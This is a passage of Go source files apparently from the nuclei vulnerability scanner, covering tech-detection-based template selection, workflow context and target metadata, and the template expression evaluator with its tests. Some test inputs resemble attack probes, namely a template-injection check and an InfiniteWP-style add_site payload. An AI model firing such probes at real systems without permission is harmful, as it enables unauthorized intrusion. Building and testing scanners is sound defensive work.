    "content": "// Package automaticscan implements automatic technology based template\n// execution for a nuclei instance.\n//\n// First wappalyzer based technology detection is performed and templates\n// are executed based on the results found. The results of wappalyzer\n// technology detection are lowercased and split on space characters in the name,\n// which are then used as tags for the execution of the templates.\n//\n// Example -\n//\n//\t\"Amazon Web Services,Jenkins,Atlassian Jira\" -> \"amazon,web,services,jenkins,atlassian,jira\".\n//\n// Wappalyzergo (https://github.com/projectdiscovery/wappalyzergo) is used for wappalyzer tech\n// detection.\n//\n// The logic is very simple and can be further improved to increase the coverage of\n// this mode of nuclei execution.\npackage automaticscan\n"
  },
  {
    "path": "pkg/protocols/common/automaticscan/util.go",
    "content": "package automaticscan\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\n// getTemplateDirs returns template directories for given input\n// by default it returns default template directory\nfunc getTemplateDirs(opts Options) ([]string, error) {\n\tdefaultTemplatesDirectories := []string{config.DefaultConfig.GetTemplateDir()}\n\t// adding custom template path if available\n\tif len(opts.ExecuterOpts.Options.Templates) > 0 {\n\t\tdefaultTemplatesDirectories = append(defaultTemplatesDirectories, opts.ExecuterOpts.Options.Templates...)\n\t}\n\t// Collect path for default directories we want to look for templates in\n\tvar allTemplates []string\n\tfor _, directory := range defaultTemplatesDirectories {\n\t\ttemplates, err := opts.ExecuterOpts.Catalog.GetTemplatePath(directory)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not get templates in directory\")\n\t\t}\n\t\tallTemplates = append(allTemplates, templates...)\n\t}\n\tallTemplates = sliceutil.Dedupe(allTemplates)\n\tif len(allTemplates) == 0 {\n\t\treturn nil, fmt.Errorf(\"%w for given input\", disk.ErrNoTemplatesFound)\n\t}\n\treturn allTemplates, nil\n}\n\n// LoadTemplatesWithTags loads and returns templates with given tags\nfunc LoadTemplatesWithTags(opts Options, templateDirs []string, tags []string, logInfo bool) ([]*templates.Template, error) {\n\tfinalTemplates, err := opts.Store.LoadTemplatesWithTags(templateDirs, tags)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not load templates\")\n\t}\n\tif len(finalTemplates) == 0 {\n\t\treturn nil, errors.New(\"could not find any templates with tech tag\")\n\t}\n\n\tif !opts.ExecuterOpts.Options.DisableClustering {\n\t\t// cluster and reduce requests\n\t\ttotalReqBeforeCluster := getRequestCount(finalTemplates) * int(opts.Target.Count())\n\t\tfinalTemplates, clusterCount, _ := templates.ClusterTemplates(finalTemplates, opts.ExecuterOpts)\n\t\ttotalReqAfterClustering := getRequestCount(finalTemplates) * int(opts.Target.Count())\n\t\tif totalReqAfterClustering < totalReqBeforeCluster && logInfo {\n\t\t\topts.ExecuterOpts.Logger.Info().Msgf(\"Automatic scan tech-detect: Templates clustered: %d (Reduced %d Requests)\", clusterCount, totalReqBeforeCluster-totalReqAfterClustering)\n\t\t}\n\t}\n\n\t// log template loaded if VerboseVerbose flag is set\n\tif opts.ExecuterOpts.Options.VerboseVerbose {\n\t\tfor _, tpl := range finalTemplates {\n\t\t\topts.ExecuterOpts.Logger.Print().Msgf(\"%s\\n\", templates.TemplateLogMessage(tpl.ID,\n\t\t\t\ttypes.ToString(tpl.Info.Name),\n\t\t\t\ttpl.Info.Authors.ToSlice(),\n\t\t\t\ttpl.Info.SeverityHolder.Severity))\n\t\t}\n\n\t}\n\treturn finalTemplates, nil\n}\n\n// returns total requests count\nfunc getRequestCount(templates []*templates.Template) int {\n\tcount := 0\n\tfor _, template := range templates {\n\t\t// ignore requests in workflows as total requests in workflow\n\t\t// depends on what templates will be called in workflow\n\t\tif len(template.Workflows) > 0 {\n\t\t\tcontinue\n\t\t}\n\t\tcount += template.TotalRequests\n\t}\n\treturn count\n}\n"
  },
  {
    "path": "pkg/protocols/common/contextargs/contextargs.go",
    "content": "package contextargs\n\nimport (\n\t\"context\"\n\t\"net/http/cookiejar\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\t// reservedPorts contains list of reserved ports for non-network requests in nuclei\n\treservedPorts = []string{\"80\", \"443\", \"8080\", \"8443\", \"8081\", \"53\"}\n)\n\n// Context implements a shared context struct to share information across multiple templates within a workflow\ntype Context struct {\n\tctx context.Context\n\n\t// Meta is the target for the executor\n\tMetaInput *MetaInput\n\n\t// CookieJar shared within workflow's http templates\n\tCookieJar *cookiejar.Jar\n\n\t// Args is a workflow shared key-value store\n\targs *mapsutil.SyncLockMap[string, interface{}]\n}\n\n// Create a new contextargs instance\nfunc New(ctx context.Context) *Context {\n\treturn NewWithInput(ctx, \"\")\n}\n\n// NewWithMetaInput creates a new contextargs instance with meta input\nfunc NewWithMetaInput(ctx context.Context, input *MetaInput) *Context {\n\tn := New(ctx)\n\tn.MetaInput = input\n\treturn n\n}\n\n// Create a new contextargs instance with input string\nfunc NewWithInput(ctx context.Context, input string) *Context {\n\tjar, err := cookiejar.New(nil)\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"contextargs: could not create cookie jar: %s\\n\", err)\n\t}\n\tmetaInput := NewMetaInput()\n\tmetaInput.Input = input\n\treturn &Context{\n\t\tctx:       ctx,\n\t\tMetaInput: metaInput,\n\t\tCookieJar: jar,\n\t\targs: &mapsutil.SyncLockMap[string, interface{}]{\n\t\t\tMap:      make(map[string]interface{}),\n\t\t\tReadOnly: atomic.Bool{},\n\t\t},\n\t}\n}\n\n// Context returns the context of the current contextargs\nfunc (ctx *Context) Context() context.Context {\n\treturn ctx.ctx\n}\n\n// Set the specific key-value pair\nfunc (ctx *Context) Set(key string, value interface{}) {\n\t_ = ctx.args.Set(key, value)\n}\n\nfunc (ctx *Context) hasArgs() bool {\n\treturn !ctx.args.IsEmpty()\n}\n\n// Merge the key-value pairs\nfunc (ctx *Context) Merge(args map[string]interface{}) {\n\t_ = ctx.args.Merge(args)\n}\n\n// Add the specific key-value pair\nfunc (ctx *Context) Add(key string, v interface{}) {\n\tvalues, ok := ctx.args.Get(key)\n\tif !ok {\n\t\tctx.Set(key, v)\n\t}\n\n\t// If the key exists, append the value to the existing value\n\tswitch v := v.(type) {\n\tcase []string:\n\t\tif values, ok := values.([]string); ok {\n\t\t\tvalues = append(values, v...)\n\t\t\tctx.Set(key, values)\n\t\t}\n\tcase string:\n\t\tif values, ok := values.(string); ok {\n\t\t\ttmp := []string{values, v}\n\t\t\tctx.Set(key, tmp)\n\t\t}\n\tdefault:\n\t\tvalues, _ := ctx.Get(key)\n\t\tctx.Set(key, []interface{}{values, v})\n\t}\n}\n\n// UseNetworkPort updates input with required/default network port for that template\n// but is ignored if input/target contains non-http ports like 80,8080,8081 etc\nfunc (ctx *Context) UseNetworkPort(port string, excludePorts string) error {\n\tignorePorts := reservedPorts\n\tif excludePorts != \"\" {\n\t\t// TODO: add support for service names like http,https,ssh etc once https://github.com/projectdiscovery/netdb is ready\n\t\tignorePorts = sliceutil.Dedupe(strings.Split(excludePorts, \",\"))\n\t}\n\tif port == \"\" {\n\t\t// if template does not contain port, do nothing\n\t\treturn nil\n\t}\n\ttarget, err := urlutil.Parse(ctx.MetaInput.Input)\n\tif err != nil {\n\t\treturn err\n\t}\n\tinputPort := target.Port()\n\tif inputPort == \"\" || stringsutil.EqualFoldAny(inputPort, ignorePorts...) {\n\t\t// replace port with networkPort\n\t\ttarget.UpdatePort(port)\n\t\tctx.MetaInput.Input = target.Host\n\t}\n\treturn nil\n}\n\n// Port returns the port of the target\nfunc (ctx *Context) Port() string {\n\ttarget, err := urlutil.Parse(ctx.MetaInput.Input)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn target.Port()\n}\n\n// Get the value with specific key if exists\nfunc (ctx *Context) Get(key string) (interface{}, bool) {\n\tif !ctx.hasArgs() {\n\t\treturn nil, false\n\t}\n\n\treturn ctx.args.Get(key)\n}\n\nfunc (ctx *Context) GetAll() map[string]interface{} {\n\tif !ctx.hasArgs() {\n\t\treturn nil\n\t}\n\n\treturn ctx.args.Clone().Map\n}\n\nfunc (ctx *Context) ForEach(f func(string, interface{})) {\n\t_ = ctx.args.Iterate(func(k string, v interface{}) error {\n\t\tf(k, v)\n\t\treturn nil\n\t})\n}\n\n// Has check if the key exists\nfunc (ctx *Context) Has(key string) bool {\n\treturn ctx.hasArgs() && ctx.args.Has(key)\n}\n\nfunc (ctx *Context) HasArgs() bool {\n\treturn !ctx.args.IsEmpty()\n}\n\nfunc (ctx *Context) Clone() *Context {\n\tnewCtx := &Context{\n\t\tctx:       ctx.ctx,\n\t\tMetaInput: ctx.MetaInput.Clone(),\n\t\targs:      ctx.args.Clone(),\n\t\tCookieJar: ctx.CookieJar,\n\t}\n\treturn newCtx\n}\n\n// GetCopyIfHostOutdated returns a new contextargs if the host is outdated\nfunc GetCopyIfHostOutdated(ctx *Context, url string) *Context {\n\tif ctx.MetaInput.Input == \"\" {\n\t\tnewctx := ctx.Clone()\n\t\tnewctx.MetaInput.Input = url\n\t\treturn newctx\n\t}\n\torig, _ := urlutil.Parse(ctx.MetaInput.Input)\n\tnewURL, _ := urlutil.Parse(url)\n\tif orig != nil && newURL != nil && orig.Host != newURL.Host {\n\t\tnewCtx := ctx.Clone()\n\t\tnewCtx.MetaInput.Input = newURL.Host\n\t\treturn newCtx\n\t}\n\treturn ctx\n}\n"
  },
  {
    "path": "pkg/protocols/common/contextargs/doc.go",
    "content": "// Package contextargs implements a generic entity for shared context within workflows\n//\n// All templates within a workflow shares the same cookiejar and a key-value store with shared items\npackage contextargs\n"
  },
  {
    "path": "pkg/protocols/common/contextargs/metainput.go",
    "content": "package contextargs\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\n\tjsoniter \"github.com/json-iterator/go\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"github.com/segmentio/ksuid\"\n)\n\n// MetaInput represents a target with metadata (TODO: replace with https://github.com/projectdiscovery/metainput)\ntype MetaInput struct {\n\t// Input represent the target\n\tInput string `json:\"input,omitempty\"`\n\t// CustomIP to use for connection\n\tCustomIP string `json:\"customIP,omitempty\"`\n\t// hash of the input\n\thash string `json:\"-\"`\n\n\t// ReqResp is the raw request for the input\n\tReqResp *types.RequestResponse `json:\"raw-request,omitempty\"`\n\n\tmu *sync.Mutex\n}\n\nfunc NewMetaInput() *MetaInput {\n\treturn &MetaInput{mu: &sync.Mutex{}}\n}\n\nfunc (metaInput *MetaInput) marshalToBuffer() (bytes.Buffer, error) {\n\tvar b bytes.Buffer\n\terr := jsoniter.NewEncoder(&b).Encode(metaInput)\n\treturn b, err\n}\n\n// Target returns the target of the metainput\nfunc (metaInput *MetaInput) Target() string {\n\tif metaInput.ReqResp != nil && metaInput.ReqResp.URL.URL != nil {\n\t\treturn metaInput.ReqResp.URL.String()\n\t}\n\treturn metaInput.Input\n}\n\n// URL returns request url\nfunc (metaInput *MetaInput) URL() (*urlutil.URL, error) {\n\tinstance, err := urlutil.ParseAbsoluteURL(metaInput.Target(), false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn instance, nil\n}\n\n// Port returns the port of the target\n// if port is not present then empty string is returned\nfunc (metaInput *MetaInput) Port() string {\n\ttarget, err := urlutil.ParseAbsoluteURL(metaInput.Input, false)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn target.Port()\n}\n\n// Address return the remote address of target\n// Note: it does not resolve the domain to ip\n// it is meant to be used by hosterrorsCache if invalid metainput\n// is provided then it uses a random ksuid as hostname to avoid skipping valid targets\nfunc (metaInput *MetaInput) Address() string {\n\tvar hostname, port string\n\ttarget, err := urlutil.ParseAbsoluteURL(metaInput.Target(), false)\n\tif err != nil {\n\t\tif metaInput.CustomIP == \"\" {\n\t\t\t// since this is used in hosterrorscache we add a random id\n\t\t\t// which will never be used to avoid skipping valid targets\n\t\t\thostname = fmt.Sprintf(\"invalid-%s\", ksuid.New().String())\n\t\t}\n\t} else {\n\t\thostname = target.Hostname()\n\t\tport = target.Port()\n\t\tif port == \"\" {\n\t\t\tswitch target.Scheme {\n\t\t\tcase urlutil.HTTP:\n\t\t\t\tport = \"80\"\n\t\t\tcase urlutil.HTTPS:\n\t\t\t\tport = \"443\"\n\t\t\tdefault:\n\t\t\t\tport = \"80\"\n\t\t\t}\n\t\t}\n\t}\n\tif metaInput.CustomIP != \"\" {\n\t\thostname = metaInput.CustomIP\n\t}\n\tif port == \"\" {\n\t\tif strings.HasPrefix(hostname, \"http://\") {\n\t\t\tport = \"80\"\n\t\t} else if strings.HasPrefix(hostname, \"https://\") {\n\t\t\tport = \"443\"\n\t\t}\n\t}\n\treturn net.JoinHostPort(hostname, port)\n}\n\n// ID returns a unique id/hash for metainput\nfunc (metaInput *MetaInput) ID() string {\n\tif metaInput.CustomIP != \"\" {\n\t\treturn fmt.Sprintf(\"%s-%s\", metaInput.Input, metaInput.CustomIP)\n\t}\n\tif metaInput.ReqResp != nil {\n\t\treturn metaInput.ReqResp.ID()\n\t}\n\treturn metaInput.Input\n}\n\nfunc (metaInput *MetaInput) MarshalString() (string, error) {\n\tb, err := metaInput.marshalToBuffer()\n\treturn b.String(), err\n}\n\nfunc (metaInput *MetaInput) MustMarshalString() string {\n\tmarshaled, _ := metaInput.MarshalString()\n\treturn marshaled\n}\n\nfunc (metaInput *MetaInput) MarshalBytes() ([]byte, error) {\n\tb, err := metaInput.marshalToBuffer()\n\treturn b.Bytes(), err\n}\n\nfunc (metaInput *MetaInput) MustMarshalBytes() []byte {\n\tmarshaled, _ := metaInput.MarshalBytes()\n\treturn marshaled\n}\n\nfunc (metaInput *MetaInput) Unmarshal(data string) error {\n\treturn jsoniter.NewDecoder(strings.NewReader(data)).Decode(metaInput)\n}\n\nfunc (metaInput *MetaInput) Clone() *MetaInput {\n\tmetaInput.mu.Lock()\n\tdefer metaInput.mu.Unlock()\n\n\tinput := NewMetaInput()\n\tinput.Input = metaInput.Input\n\tinput.CustomIP = metaInput.CustomIP\n\tinput.hash = metaInput.hash\n\tif metaInput.ReqResp != nil {\n\t\tinput.ReqResp = metaInput.ReqResp.Clone()\n\t}\n\treturn input\n}\n\nfunc (metaInput *MetaInput) PrettyPrint() string {\n\tif metaInput.CustomIP != \"\" {\n\t\treturn fmt.Sprintf(\"%s [%s]\", metaInput.Input, metaInput.CustomIP)\n\t}\n\tif metaInput.ReqResp != nil {\n\t\treturn fmt.Sprintf(\"%s [%s]\", metaInput.ReqResp.URL.String(), metaInput.ReqResp.Request.Method)\n\t}\n\treturn metaInput.Input\n}\n\n// GetScanHash returns a unique hash that represents a scan by hashing (metainput + templateId)\nfunc (metaInput *MetaInput) GetScanHash(templateId string) string {\n\t// there may be some cases where metainput is changed ex: while executing self-contained template etc\n\t// but that totally changes the scanID/hash so to avoid that we compute hash only once\n\t// and reuse it for all subsequent calls\n\tmetaInput.mu.Lock()\n\tdefer metaInput.mu.Unlock()\n\n\tif metaInput.hash == \"\" {\n\t\tvar rawRequest string\n\t\tif metaInput.ReqResp != nil {\n\t\t\trawRequest = metaInput.ReqResp.ID()\n\t\t}\n\t\tmetaInput.hash = getMd5Hash(templateId + \":\" + metaInput.Input + \":\" + metaInput.CustomIP + rawRequest)\n\t}\n\treturn metaInput.hash\n}\n\nfunc getMd5Hash(data string) string {\n\tbin := md5.Sum([]byte(data))\n\treturn string(bin[:])\n}\n"
  },
  {
    "path": "pkg/protocols/common/contextargs/variables.go",
    "content": "package contextargs\n\n// GenerateVariables from context args\nfunc GenerateVariables(ctx *Context) map[string]interface{} {\n\tvars := map[string]interface{}{\n\t\t\"ip\": ctx.MetaInput.CustomIP,\n\t}\n\treturn vars\n}\n"
  },
  {
    "path": "pkg/protocols/common/expressions/expressions.go",
    "content": "package expressions\n\nimport (\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/gologger\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\n// Eval compiles the given expression and evaluate it with the given values preserving the return type\nfunc Eval(expression string, values map[string]interface{}) (interface{}, error) {\n\tcompiled, err := govaluate.NewEvaluableExpressionWithFunctions(expression, dsl.HelperFunctions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn compiled.Evaluate(values)\n}\n\n// Evaluate checks if the match contains a dynamic variable, for each\n// found one we will check if it's an expression and can\n// be compiled, it will be evaluated and the results will be returned.\n//\n// The provided keys from finalValues will be used as variable names\n// for substitution inside the expression.\nfunc Evaluate(data string, base map[string]interface{}) (string, error) {\n\treturn evaluate(data, base)\n}\n\n// EvaluateByte checks if the match contains a dynamic variable, for each\n// found one we will check if it's an expression and can\n// be compiled, it will be evaluated and the results will be returned.\n//\n// The provided keys from finalValues will be used as variable names\n// for substitution inside the expression.\nfunc EvaluateByte(data []byte, base map[string]interface{}) ([]byte, error) {\n\tfinalData, err := evaluate(string(data), base)\n\treturn []byte(finalData), err\n}\n\nfunc evaluate(data string, base map[string]interface{}) (string, error) {\n\texpressions := FindExpressions(data, marker.ParenthesisOpen, marker.ParenthesisClose, base)\n\n\t// replace simple placeholders (key => value) MarkerOpen + key + MarkerClose and General + key + General to value\n\tdata = replacer.Replace(data, base)\n\n\t// expressions can be:\n\t// - simple: containing base values keys (variables)\n\t// - complex: containing helper functions [ + variables]\n\t// literals like {{2+2}} are not considered expressions\n\tfor _, expression := range expressions {\n\t\t// replace variable placeholders with base values\n\t\texpression = replacer.Replace(expression, base)\n\t\t// turns expressions (either helper functions+base values or base values)\n\t\tcompiled, err := govaluate.NewEvaluableExpressionWithFunctions(expression, dsl.HelperFunctions)\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"Failed to compile expression '%s': %v\", expression, err)\n\t\t\tcontinue\n\t\t}\n\t\t// propagate unresolved {{...}} markers from variable values so the\n\t\t// downstream ContainsUnresolvedVariables check can detect them instead\n\t\t// of having encoding functions (e.g. base64) hide them\n\t\tif markers := unresolvedVarMarkers(compiled.Vars(), base); markers != \"\" {\n\t\t\tdata = replacer.ReplaceOne(data, expression, markers)\n\t\t\tcontinue\n\t\t}\n\t\tresult, err := compiled.Evaluate(base)\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"Failed to evaluate expression '%s': %v\", expression, err)\n\t\t\tcontinue\n\t\t}\n\t\t// replace incrementally\n\t\tdata = replacer.ReplaceOne(data, expression, result)\n\t}\n\treturn data, nil\n}\n\n// maxIterations to avoid infinite loop\nconst maxIterations = 250\n\nfunc FindExpressions(data, OpenMarker, CloseMarker string, base map[string]interface{}) []string {\n\tvar (\n\t\titerations int\n\t\texps       []string\n\t)\n\tfor iterations <= maxIterations {\n\t\t// check if we reached the maximum number of iterations\n\n\t\titerations++\n\t\t// attempt to find open markers\n\t\tindexOpenMarker := strings.Index(data, OpenMarker)\n\t\t// exits if not found\n\t\tif indexOpenMarker < 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tindexOpenMarkerOffset := indexOpenMarker + len(OpenMarker)\n\n\t\tshouldSearchCloseMarker := true\n\t\tcloseMarkerFound := false\n\t\tinnerData := data\n\t\tvar potentialMatch string\n\t\tvar indexCloseMarker, indexCloseMarkerOffset int\n\t\tskip := indexOpenMarkerOffset\n\t\tfor shouldSearchCloseMarker {\n\t\t\t// attempt to find close marker\n\t\t\tindexCloseMarker = stringsutil.IndexAt(innerData, CloseMarker, skip)\n\t\t\t// if no close markers are found exit\n\t\t\tif indexCloseMarker < 0 {\n\t\t\t\tshouldSearchCloseMarker = false\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tindexCloseMarkerOffset = indexCloseMarker + len(CloseMarker)\n\n\t\t\tpotentialMatch = innerData[indexOpenMarkerOffset:indexCloseMarker]\n\t\t\tif isExpression(potentialMatch, base) {\n\t\t\t\tcloseMarkerFound = true\n\t\t\t\tshouldSearchCloseMarker = false\n\t\t\t\texps = append(exps, potentialMatch)\n\t\t\t} else {\n\t\t\t\tskip = indexCloseMarkerOffset\n\t\t\t}\n\t\t}\n\n\t\tif closeMarkerFound {\n\t\t\t// move after the close marker\n\t\t\tdata = data[indexCloseMarkerOffset:]\n\t\t} else {\n\t\t\t// move after the open marker\n\t\t\tdata = data[indexOpenMarkerOffset:]\n\t\t}\n\t}\n\treturn exps\n}\n\nfunc isExpression(data string, base map[string]interface{}) bool {\n\tif _, err := govaluate.NewEvaluableExpression(data); err == nil {\n\t\tif stringsutil.ContainsAny(data, getFunctionsNames(base)...) {\n\t\t\treturn true\n\t\t} else if stringsutil.ContainsAny(data, dsl.FunctionNames...) {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}\n\t_, err := govaluate.NewEvaluableExpressionWithFunctions(data, dsl.HelperFunctions)\n\treturn err == nil\n}\n\n// unresolvedVarMarkers returns concatenated {{...}} markers found in the\n// string values of the given variable names. Returns \"\" if none.\nfunc unresolvedVarMarkers(vars []string, base map[string]any) string {\n\tseen := make(map[string]struct{})\n\tvar markers []string\n\tfor _, varName := range vars {\n\t\tval, ok := base[varName]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tvalStr, ok := val.(string)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, match := range unresolvedVariablesRegex.FindAllStringSubmatch(valStr, -1) {\n\t\t\tif len(match) < 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif numericalExpressionRegex.MatchString(match[1]) || hasLiteralsOnly(match[1]) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfull := marker.ParenthesisOpen + match[1] + marker.ParenthesisClose\n\t\t\tif _, exists := seen[full]; !exists {\n\t\t\t\tseen[full] = struct{}{}\n\t\t\t\tmarkers = append(markers, full)\n\t\t\t}\n\t\t}\n\t}\n\treturn strings.Join(markers, \"\")\n}\n\nfunc getFunctionsNames(m map[string]interface{}) []string {\n\tkeys := make([]string, 0, len(m))\n\tfor k := range m {\n\t\tkeys = append(keys, k)\n\t}\n\treturn keys\n}\n"
  },
  {
    "path": "pkg/protocols/common/expressions/expressions_test.go",
    "content": "package expressions\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestEvaluate(t *testing.T) {\n\titems := []struct {\n\t\tinput    string\n\t\texpected string\n\t\textra    map[string]interface{}\n\t}{\n\t\t{input: \"{{url_encode('test}aaa')}}\", expected: \"test%7Daaa\", extra: map[string]interface{}{}},\n\t\t{input: \"{{hex_encode('PING')}}\", expected: \"50494e47\", extra: map[string]interface{}{}},\n\t\t{input: \"{{hex_encode('{{')}}\", expected: \"7b7b\", extra: map[string]interface{}{}},\n\t\t{input: `{{concat(\"{{\", 123, \"*\", 123, \"}}\")}}`, expected: \"{{123*123}}\", extra: map[string]interface{}{}},\n\t\t{input: `{{concat(\"{{\", \"123*123\", \"}}\")}}`, expected: \"{{123*123}}\", extra: map[string]interface{}{}},\n\t\t{input: `{{\"{{\" + '123*123' + \"}}\"}}`, expected: `{{\"{{\" + '123*123' + \"}}\"}}`, extra: map[string]interface{}{}},\n\t\t{input: `{{a + '123*123' + b}}`, expected: `aa123*123bb`, extra: map[string]interface{}{\"a\": \"aa\", \"b\": \"bb\"}},\n\t\t{input: `{{concat(123,'*',123)}}`, expected: \"123*123\", extra: map[string]interface{}{}},\n\t\t{input: `{{1+1}}`, expected: \"{{1+1}}\", extra: map[string]interface{}{}},\n\t\t{input: `{{\"1\"+\"1\"}}`, expected: `{{\"1\"+\"1\"}}`, extra: map[string]interface{}{}},\n\t\t{input: `{{\"1\" + '*' + \"1\"}}`, expected: `{{\"1\" + '*' + \"1\"}}`, extra: map[string]interface{}{}},\n\t\t{input: `{{\"a\" + 'b' + \"c\"}}`, expected: `{{\"a\" + 'b' + \"c\"}}`, extra: map[string]interface{}{}},\n\t\t{input: `{{10*2}}`, expected: `{{10*2}}`, extra: map[string]interface{}{}},\n\t\t{input: `{{10/2}}`, expected: `{{10/2}}`, extra: map[string]interface{}{}},\n\t\t{input: `{{10-2}}`, expected: `{{10-2}}`, extra: map[string]interface{}{}},\n\t\t{input: \"test\", expected: \"test\", extra: map[string]interface{}{}},\n\t\t{input: \"{{hex_encode(Item)}}\", expected: \"50494e47\", extra: map[string]interface{}{\"Item\": \"PING\"}},\n\t\t{input: \"{{hex_encode(Item)}}\\r\\n\", expected: \"50494e47\\r\\n\", extra: map[string]interface{}{\"Item\": \"PING\"}},\n\t\t{input: \"{{someTestData}}{{hex_encode('PING')}}\", expected: \"{{someTestData}}50494e47\", extra: map[string]interface{}{}},\n\t\t{input: `_IWP_JSON_PREFIX_{{base64(\"{\\\"iwp_action\\\":\\\"add_site\\\",\\\"params\\\":{\\\"username\\\":\\\"\\\"}}\")}}`, expected: \"_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiIifX0=\", extra: map[string]interface{}{}},\n\t\t{input: \"{{}}\", expected: \"{{}}\", extra: map[string]interface{}{}},\n\t\t{input: `\"{{hex_encode('PING')}}\"`, expected: `\"50494e47\"`, extra: map[string]interface{}{}},\n\t\t// encoding functions must propagate unresolved markers instead of hiding them\n\t\t{input: \"{{base64(rawhash)}}\", expected: \"{{contact_id}}{{email}}\", extra: map[string]any{\n\t\t\t\"rawhash\": `{\"contact_id\":\"{{contact_id}}\",\"email\":\"{{email}}\"}`,\n\t\t}},\n\t}\n\tfor _, item := range items {\n\t\tvalue, err := Evaluate(item.input, item.extra)\n\t\trequire.Nil(t, err, \"could not evaluate helper\")\n\n\t\trequire.Equal(t, item.expected, value, \"could not get correct expression\")\n\t}\n}\n\nfunc TestEval(t *testing.T) {\n\titems := []struct {\n\t\tinput    string\n\t\tvalues   map[string]interface{}\n\t\texpected interface{}\n\t}{\n\t\t{input: \"'a' + 'a'\", values: nil, expected: \"aa\"},\n\t\t{input: \"10 + to_number(b)\", values: map[string]interface{}{\"b\": \"4\"}, expected: float64(14)},\n\t}\n\tfor _, item := range items {\n\t\tvalue, err := Eval(item.input, item.values)\n\t\trequire.Nil(t, err, \"could not evaluate helper\")\n\t\trequire.Equal(t, item.expected, value, \"could not get correct expression\")\n\t}\n}\n\nfunc TestEvaluateDoesNotReinterpretResolvedValues(t *testing.T) {\n\titems := []struct {\n\t\tname     string\n\t\tinput    string\n\t\texpected string\n\t\textra    map[string]interface{}\n\t}{\n\t\t{\n\t\t\tname:     \"helper syntax in resolved values stays literal\",\n\t\t\tinput:    \"/?x={{body}}\",\n\t\t\texpected: `/?x={{md5(\"Hello\")}}-by-Adelle`,\n\t\t\textra: map[string]interface{}{\n\t\t\t\t\"body\": `{{md5(\"Hello\")}}-by-Adelle`,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"resolved values cannot access other variables\",\n\t\t\tinput:    \"Authorization: {{body}}\",\n\t\t\texpected: \"Authorization: {{secret_token}}\",\n\t\t\textra: map[string]interface{}{\n\t\t\t\t\"body\":         \"{{secret_token}}\",\n\t\t\t\t\"secret_token\": \"top-secret-cia-mi6-kgb-mossad-classified\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:     \"template-authored placeholders inside helper expressions still resolve\",\n\t\t\tinput:    \"{{base64('{{Host}}')}}\",\n\t\t\texpected: \"MTI3LjAuMC4x\",\n\t\t\textra: map[string]interface{}{\n\t\t\t\t\"Host\": \"127.0.0.1\",\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, item := range items {\n\t\tt.Run(item.name, func(t *testing.T) {\n\t\t\tvalue, err := Evaluate(item.input, item.extra)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, item.expected, value)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/expressions/variables.go",
    "content": "package expressions\n\nimport (\n\t\"errors\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n)\n\nvar (\n\tnumericalExpressionRegex = regexp.MustCompile(`^[0-9+\\-/\\W]+$`)\n\tunresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|\\{){2}([^}]+)(?:%7[D|d]|\\}){2}[\"'\\)\\}]*`)\n)\n\n// ContainsUnresolvedVariables returns an error with variable names if the passed\n// input contains unresolved {{<pattern-here>}} variables.\nfunc ContainsUnresolvedVariables(items ...string) error {\n\tfor _, data := range items {\n\t\tmatches := unresolvedVariablesRegex.FindAllStringSubmatch(data, -1)\n\t\tif len(matches) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tvar unresolvedVariables []string\n\t\tfor _, match := range matches {\n\t\t\tif len(match) < 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Skip if the match is an expression\n\t\t\tif numericalExpressionRegex.MatchString(match[1]) 